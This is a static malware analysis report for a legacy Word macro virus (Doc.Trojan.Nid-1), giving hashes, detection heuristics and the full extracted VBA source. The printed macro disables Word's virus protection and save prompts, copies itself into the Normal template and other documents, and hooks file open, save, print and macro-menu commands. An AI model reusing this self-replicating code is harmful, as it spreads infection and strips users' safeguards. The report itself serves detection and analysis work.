Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7d520830e331631d…

MALICIOUS

Office (OLE)

38.5 KB Created: 2001-03-15 15:14:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a39e261d826c24e870001faf08794200 SHA-1: ad739fbb1ce5d38d05415a4b60ed43ff66971b1a SHA-256: 7d520830e331631d6437085e30a99f61ee5d363ef1bff17d83324e132db8fed5
136 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains legacy WordBasic macro markers and a VBA macro named 'Virus' which includes functionality to export itself to 'C:\windows\Sys.inf' and write the current date to 'C:\windows\Date.inf'. The AutoOpen macro is also present, indicating an attempt to execute the malicious code upon opening the document. The presence of these elements strongly suggests a macro-based malware designed for propagation and potential further infection.

Heuristics 5

  • ClamAV: Doc.Trojan.Nid-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Nid-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3842 bytes
SHA-256: ae10dd8c989e3a723dea9760585ac2f55a8460fa074bb7130f00e41a7345ecdd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Virus"
Sub Virus()
On Error Resume Next
' *********************
' Ïðîöåäóðà ðàçìíîæåíèÿ
' *********************

If Options.ConfirmConversions = True Then Options.ConfirmConversions = Not (Options.ConfirmConversions)
If Options.VirusProtection = True Then Options.VirusProtection = Not (Options.VirusProtection)
If Options.SaveNormalPrompt = True Then Options.SaveNormalPrompt = Not (Options.SaveNormalPrompt)
ActiveDocument.VBProject.VBComponents("Virus").Export "C:\windows\Sys.inf"
ActiveDocument.ReadOnlyRecommended = False
' Åñëè øàáëîí íå èíôèöèðîâàí, çàïîìíèòü äàòó çàðàæåíèÿ
If NormalTemplate.VBProject.VBComponents.Item("Virus").Name <> "Virus" Then
    Open "C:\windows\Date.inf" For Output As #1
    Print #1, CDbl(Date)
    Close #1
End If
' Çàïóñê îñíîâíîé ïðîöåäóðû âèðóñà
Call Pizdec

With Dialogs(wdDialogFileSummaryInfo)
    .Comments = "Ïðèâåò îò Áàðàáàêè !!!"
    .Execute
End With
If NormalTemplate.VBProject.VBComponents.Item("Virus").Name <> "Virus" Then var1 = True
If ActiveDocument.VBProject.VBComponents.Item("Virus").Name <> "Virus" Then var2 = True
If var1 = True And var2 = False Then Set Var3 = NormalTemplate.VBProject.VBComponents
If var1 = False And var2 = True Then Set Var3 = ActiveDocument.VBProject.VBComponents
Var3.import "C:\windows\Sys.inf"
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
If var2 = False Then If NormalTemplate.Saved = False Then NormalTemplate.Save
End Sub
Sub AutoOpen()
    On Error Resume Next
    Call Virus
End Sub
Sub AutoClose()
On Error Resume Next
    Call Virus
End Sub
Sub HelpAbout()
On Error Resume Next
    Call Virus
Call A1
End Sub
Sub FileSave()
On Error Resume Next
Call Virus
ActiveDocument.Save
End Sub
Sub FileSaveAs()
On Error Resume Next
Dialogs(wdDialogFileSaveAs).Show
Call Virus
End Sub
Sub Pizdec()
On Error Resume Next
' *************************************
' *    Îñíîâíàÿ ïðîöåäóðà âèðóñà      *
' *************************************

' ×òåíèå äàòû çàðàæåíèÿ
Open "C:\windows\Date.inf" For Input As #1
Input #1, KontrDate
Close #1
' Åñëè ñî âðåìåíè çàðàæåíèÿ ïðîøëà íåäåëÿ, àêòèâèðîâàòü âèðóñ
If CDbl(Date) - KontrDate >= 7 Then
    MsgBox "Òåêñòîâûé ðåäàêòîð âûïîëíèë íå÷òî íåäîïóñòèìîå. Ïåðåóñòàíîâèòå îôèñ !!!", vbCritical
End If
End Sub
Sub FilePrint()
    On Error Resume Next
' Dialogs(wdDialogFilePrint).Show
Dialogs(wdDialogFilePrint).Show
Call Virus
End Sub
Sub FilePageSetup()
On Error Resume Next
' ×òåíèå äàòû çàðàæåíèÿ
Call Virus
    Dialogs(wdDialogFilePageSetup).Show
End Sub
Sub ToolsMacro()
    On Error Resume Next
    Call Virus
    MsgBox "Òåêñòîâûé ðåäàêòîð âûïîëíèë íå÷òî íåäîïóñòèìîå. Ïåðåóñòàíîâèòå îôèñ !!!", vbCritical
End Sub
Sub FileTemplates()
    On Error Resume Next
    Call Virus
    MsgBox "Òåêñòîâûé ðåäàêòîð âûïîëíèë íå÷òî íåäîïóñòèìîå. Ïåðåóñòàíîâèòå îôèñ !!!", vbCritical
End Sub
Sub ViewVBCode()
    On Error Resume Next
    Call Virus
    MsgBox "Òåêñòîâûé ðåäàêòîð âûïîëíèë íå÷òî íåäîïóñòèìîå. Ïåðåóñòàíîâèòå îôèñ !!!", vbCritical
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.